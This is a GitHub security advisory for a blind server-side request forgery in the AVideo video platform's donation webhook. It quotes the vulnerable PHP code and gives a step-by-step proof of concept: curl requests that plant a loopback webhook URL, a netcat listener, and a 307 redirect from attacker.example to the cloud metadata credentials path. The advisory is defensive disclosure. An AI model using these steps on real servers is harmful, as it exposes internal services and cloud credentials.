GitHub Advisoryadvisory · Packagist
GHSA-wp38-whx3-xffh AVideo has Blind SSRF in YPTWallet Donation Webhook via Missing isSSRFSafeURL() Check and CURLOPT_FOLLOWLOCATION Redirect Bypass
MEDIUM
Official page ↗
- Aliases
- CVE-2026-43879
- Ecosystem
- Packagist
- Packages
- wwbn/avideo
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-05-05
Affected packages
• Packagist wwbn/avideo: <= 29.0 (no fix yet)
Description
Summary
An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. `http://127.0.0.1:8080/...`, `http://169.254.169.254/latest/...`, RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via `plugin/CustomizeUser/donate.json.php`, the AVideo server issues a `curl` POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only `isValidURL()` (which is a format check) and does not call the codebase's own `isSSRFSafeURL()` helper. Additionally, `CURLOPT_FOLLOWLOCATION` is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.
Details
Sink: unvalidated curl POST in afterDonation
`plugin/YPTWallet/YPTWallet.php:1043-1099`
```php
public function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)
{
...
$donation_notification_url = self::getDonationNotificationURL($users_id);
...
if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {
...
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $donation_notification_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_NOSIGNAL, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // line 1081
...
ob_start();
curl_exec($ch);
ob_end_clean();
```
The gate at line 1064 is `isValidURL()` only. That helper is a pure format check:
`objects/functions.php:4305-4315`
```php
function isValidURL($url)
{
if (empty($url) || !is_string($url)) {
return false;
}
if (preg_match("/^http.*/", $url) && filter_var($url, FILTER_VALIDATE_URL)) {
return true;
}
return false;
}
```
It does not reject `http://127.0.0.1`, `http://169.254.169.254`, RFC1918 ranges, or hostnames that resolve to private IPs.
The project already ships a correct SSRF guard at `objects/functions.php:4366` (`isSSRFSafeURL()`), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.
Storage path has no SSRF validation
`plugin/YPTWallet/view/saveConfiguration.php:31-33`
```php
if(isset($_REQUEST['donation_notification_url'])){
$obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']);
}
```
`plugin/YPTWallet/YPTWallet.php:1015-1034`
```php
static function setDonationNotificationURL($users_id, $url)
{
$url = trim($url);
$url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
$url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
if (strlen($url) > 2048) { ... }
$user = new User($users_id);
return $user->addExternalOptions('donation_notification_url', $url);
}
```
No host/IP/scheme validation. A value like `http://127.0.0.1:8080/internal` contains none of `& " '`, so `htmlspecialchars` preserves it verbatim.
Trigger
`plugin/CustomizeUser/donate.json.php:88,108`
```php
if (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters);
}
...
if (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters);
}
```
Donor must have wallet balance; captcha is required unless `disableCaptchaOnWalletDirectTransferDonation` is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.
FOLLOWLOCATION bypass
Even if `isSSRFSafeURL()` were added to the upfront check on the stored URL, `CURLOPT_FOLLOWLOCATION=true` with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. `http://169.254.169.254/latest/...` or any RFC1918 endpoint.
What escapes to the internal request
The POST body is `http_build_query($data)` where `$data` contains `from_users_id`, `from_users_name`, `currency`, `how_much_human`, `how_much`, `message` (attacker-controlled from the donate.json.php request), `videos_id`, `users_id`, `time`, and `extraParameters`. Headers include `X-Webhook-Signature: sha256=...` and `X-Webhook-Timestamp`. The response is discarded (`ob_start` / `ob_end_clean`, return value ignored), so this is a blind SSRF — exfiltration must use out-of-band channels.
PoC
Prerequisites: two authenticated accounts on the target — Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default).
Step 1 — Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:
```bash
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \
--data-urlencode 'CryptoWallet='
```
Response body includes the stored `donation_notification_url` plus Alice's `webhook_secret` (the signature is computed with Alice's own secret, so there is no cross-user signature leak).
Step 2 — Start a listener on the target host to observe the blind request:
```bash
On the target server
nc -lvp 8080
```
Step 3 — Bob donates the minimum amount to Alice (captcha solved):
```bash
curl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \
--data 'value=0.01&users_id=&message=x&captcha='
```
`donate.json.php:108` calls `AVideoPlugin::afterDonation(...)`.
Step 4 — Observe the netcat listener: the AVideo server issues:
```
POST /internal/admin/action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent:
Content-Type: application/x-www-form-urlencoded
X-Webhook-Signature: sha256=
X-Webhook-Timestamp:
Content-Length: ...
from_users_id=&from_users_name=...¤cy=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=&time=...&extraParameters[...]=...
```
Confirmed: the vulnerable server reaches the loopback port on behalf of the attacker.
Step 5 — FOLLOWLOCATION bypass. Alice registers an external URL she controls:
```bash
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=https://attacker.example/r' \
--data-urlencode 'CryptoWallet='
```
Alice's web server at `attacker.example/r` responds to the POST with:
```
HTTP/1.1 307 Temporary Redirect
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
Because `CURLOPT_FOLLOWLOCATION=true` and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable.
Impact
• Blind SSRF from authenticated low-privileged users. An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to.
• State-changing POST to internal endpoints. Because the request method is fixed to POST and the body is attacker-influenced (the `message` field is user-supplied), an attacker can trigger POST-handled internal a…
Related
Alias · CVE (1)
- CVE-2026-43879 WWBN AVideo is an open source video platform. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness